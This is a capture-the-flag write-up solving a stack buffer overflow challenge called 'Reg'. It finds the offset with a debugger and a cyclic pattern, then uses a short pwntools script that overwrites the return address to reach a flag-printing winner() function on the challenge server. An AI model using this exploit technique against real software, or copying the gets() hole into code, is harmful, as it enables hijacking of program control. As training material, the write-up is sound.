Reg

1) Disassembled

```
void run(void)

{
  char local_38 [48];

  initialize();
  printf("Enter your name : ");
  gets(local_38);
  puts("Registered!");
  return;
}
```

we can overflow local38

2) found offset

```
$rcx   : 0x00007ffff7eccb00  →  0x5877fffff0003d48 ("H="?)
$rdx   : 0x0
$rsp   : 0x00007fffffffdd18  →  "8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
$rbp   : 0x6241376241366241 ("Ab6Ab7Ab"?)
$rsi   : 0x00007ffff7fa9803  →  0xfaaa30000000000a ("\n"?)
$rdi   : 0x00007ffff7faaa30  →  0x0000000000000000
$rip   : 0x00000000004012ac  →  <run+66> ret
$r8    : 0x0
$r9    : 0x0
$r10   : 0x00007ffff7ddefd0  →  0x00100022000065f3
$r11   : 0x202
$r12   : 0x0
$r13   : 0x00007fffffffde48  →  0x00007fffffffe0eb  →  "HOSTTYPE=x86_64"
$r14   : 0x0
$r15   : 0x00007ffff7ffd000  →  0x00007ffff7ffe2d0  →  0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────────────────────────────
0x00007fffffffdd18|+0x0000: "8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"       ← $rsp
0x00007fffffffdd20|+0x0008: "c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
0x00007fffffffdd28|+0x0010: "Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
0x00007fffffffdd30|+0x0018: "6Ac7Ac8Ac9Ad0Ad1Ad2A"
0x00007fffffffdd38|+0x0020: "c9Ad0Ad1Ad2A"
0x00007fffffffdd40|+0x0028: 0x0000000041326441 ("Ad2A"?)
0x00007fffffffdd48|+0x0030: 0x00007fffffffde38  →  0x00007fffffffe0cb  →  "/home/vigneswar/Reverse/Reg/reg"
0x00007fffffffdd50|+0x0038: 0x00007fffffffde38  →  0x00007fffffffe0cb  →  "/home/vigneswar/Reverse/Reg/reg"
──────────────────────────────────────────────────────────────────────────────────────────────────────────
    0x4012a5 <run+59>         call   0x401030 <puts@plt>
    0x4012aa <run+64>         nop
    0x4012ab <run+65>         leave
 →  0x4012ac <run+66>         ret
[!] Cannot disassemble from $PC
──────────────────────────────────────────────────────────────────────────────────────────────────────────
[#0] Id 1, Name: "reg", stopped 0x4012ac in run (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────
[#0] 0x4012ac → run()
──────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/a $rsp
0x7fffffffdd18: 0x4130634139624138
gef➤
```

```
┌──(vigneswar㉿VigneswarPC)-[~]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x4130634139624138
[*] Exact match at offset 56
```

3) there is a function to give us flag

```
 1
 2 void winner(void)
 3
 4 {
 5   char local_418 [1032];
 6   FILE *local_10;
 7
 8   puts("Congratulations!");
 9   local_10 = fopen("flag.txt","r");
10   fgets(local_418,0x400,local_10);
11   puts(local_418);
12   fclose(local_10);
13   return;
14 }
15
```

```
┌──(vigneswar㉿VigneswarPC)-[~/Reverse/Reg]
└─$ checksec reg
[*] '/home/vigneswar/Reverse/Reg/reg'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

4) we need to use address of this
run -> main
-> winner
we can change last 2 byte of the address from 6a to 06 to jump to winner

```
00000000004012ad <main>:
  4012ad:       55                      push   rbp
  4012ae:       48 89 e5                mov    rbp,rsp
  4012b1:       b8 00 00 00 00          mov    eax,0x0
  4012b6:       e8 af ff ff ff          call   40126a <run>
  4012bb:       b8 00 00 00 00          mov    eax,0x0
  4012c0:       5d                      pop    rbp
  4012c1:       c3                      ret
  4012c2:       66 2e 0f 1f 84 00 00    cs nop WORD PTR [rax+rax*1+0x0]
  4012c9:       00 00 00
  4012cc:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]
```

```
0000000000401206 <winner>:
  401206:       55                      push   rbp
  401207:       48 89 e5                mov    rbp,rsp
  40120a:       48 81 ec 10 04 00 00    sub    rsp,0x410
  401211:       48 8d 3d ec 0d 00 00    lea    rdi,[rip+0xdec]        # 402004 <_IO_stdin_used+0x4>
  401218:       e8 13 fe ff ff          call   401030 <puts@plt>
  40121d:       48 8d 35 f1 0d 00 00    lea    rsi,[rip+0xdf1]        # 402015 <_IO_stdin_used+0x15>
  401224:       48 8d 3d ec 0d 00 00    lea    rdi,[rip+0xdec]        # 402017 <_IO_stdin_used+0x17>
  40122b:       e8 70 fe ff ff          call   4010a0 <fopen@plt>
  401230:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  401234:       48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]
  401238:       48 8d 85 f0 fb ff ff    lea    rax,[rbp-0x410]
  40123f:       be 00 04 00 00          mov    esi,0x400
  401244:       48 89 c7                mov    rdi,rax
  401247:       e8 24 fe ff ff          call   401070 <fgets@plt>
  40124c:       48 8d 85 f0 fb ff ff    lea    rax,[rbp-0x410]
  401253:       48 89 c7                mov    rdi,rax
  401256:       e8 d5 fd ff ff          call   401030 <puts@plt>
  40125b:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  40125f:       48 89 c7                mov    rdi,rax
  401262:       e8 d9 fd ff ff          call   401040 <fclose@plt>
  401267:       90                      nop
  401268:       c9                      leave
  401269:       c3                      ret
```

5) exploited it

exploit.py

```python
from pwn import *

app = process(['nc', '167.99.82.136', '30766'])
app.sendlineafter(b':', 56*b'\x55' + b'\x06\x12\x40')
app.interactive()
```

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS 1

```
┌──(vigneswar㉿VigneswarPC)-[~/Reverse/Reg]
└─$ python3 exploit.py
[+] Starting local process '/usr/bin/nc': pid 12397
[*] Switching to interactive mode
 Registered!
Congratulations!
HTB{N3W_70_pWn}

[*] Process '/usr/bin/nc' stopped with exit code 0 (pid 12397)
[*] Got EOF while reading in interactive
$
```